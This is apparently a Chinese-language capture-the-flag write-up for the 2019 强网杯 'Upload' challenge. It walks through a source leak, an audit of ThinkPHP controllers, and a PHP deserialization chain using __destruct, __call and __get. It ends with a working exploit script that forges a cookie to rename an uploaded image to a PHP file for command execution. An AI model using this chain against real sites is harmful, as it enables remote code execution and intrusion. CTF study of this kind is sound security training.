[强网杯 2019]Upload
有个注册登录界面,先注册进去看看
发现是一个文件上传页面
扫一下看看有没有源码泄露
发现有/www.tar.gz
下载下来看看
接下来就是代码审计了
主要文件是:Index.php、Profile.php、Login.php、Register.php
而且用phpstorm打开会发现在index.php和Register.php中各有一个断点,应该是提示
这里的login_check函数会反序列化我们传入的user(cookie)
而下面检测到未登录就会调用$->checker->index(),这里可以令checker=0绕过
<?php namespace app\web\controller; use think\Controller; class Profile extends Controller { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public function __construct() { $this->checker=new Index(); $this->upload_menu=md5($_SERVER['REMOTE_ADDR']); @chdir("../public/upload"); if(!is_dir($this->upload_menu)){ @mkdir($this->upload_menu); } @chdir($this->upload_menu); } public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } } if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } } public function update_img(){ $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find(); if(empty($user_info['img']) && $this->img){ if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){ $this->update_cookie(); $this->success('Upload img successful!', url('../home')); }else{ $this->error('Upload file failed!', url('../index')); } } } public function update_cookie(){ $this->checker->profile['img']=$this->img; cookie("user",base64_encode(serialize($this->checker->profile)),3600); } public function ext_check(){ $ext_arr=explode(".",$this->filename); $this->ext=end($ext_arr); if($this->ext=="png"){ return 1; }else{ return 0; } } public function __get($name) { return $this->except[$name]; } public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } } }
这里会被直接加上png的后缀
这里是关键点
这个可以使ext=1,来进入,同时,这一步会将文件复制给filename
,相当于重命名,最后执行update_img()
那么如何通过反序列化来调用update_img呢
这里有两个魔术方法
public function __get($name) { return $this->except[$name]; } public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } }
当对象调用不可访问属性时,就会自动触发get魔法方法,而在对象调用不可访问函数时,就会自动触发call魔法方法。
再看回Register.php
有个__destruct()魔术方法,上面这两输出可控,我们可以让checker这个属性为Profile类
然后就会调用Profile类里的index()函数,那么就会触发__call魔术方法
public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } }
checker调用了类Index里的方法index(),如果我们此时将checker的construct覆盖为类Profile,那么势必在调用index()方法时,会触发call函数
而进入这个函数后,就能出发$this->index,调用了profile类中不存在的对象,就可以触发_get魔术方法
再设置except[’index‘] 为 upload_img的话,就可以成功触发了upload_img
这时候再得到文件的上传路径就可以了
bp抓包得到cookie
解码
就可以构造exp了
<?php namespace app\web\controller; class Register{ public $checker; public $registed =0; } class Profile{ public $checker =0 ; public $filename_tmp="./upload/cc551ab005b2e60fbdc88de809b2c4b1/4a47a0db6e60853dedfcfdf08a5ca249.png"; public $upload_menu; public $filename="./upload/cc551ab005b2e60fbdc88de809b2c4b1/1.php"; public $ext=1; public $img; public $except=array("index"=>"upload_img"); } $a=new Register(); $a->checker=new Profile(); $a->checker->checker = 0; echo base64_encode(serialize($a));
再修改一下网页的cookie
刷新一下再访问就能访问到改名的文件,就能够命令执行了
,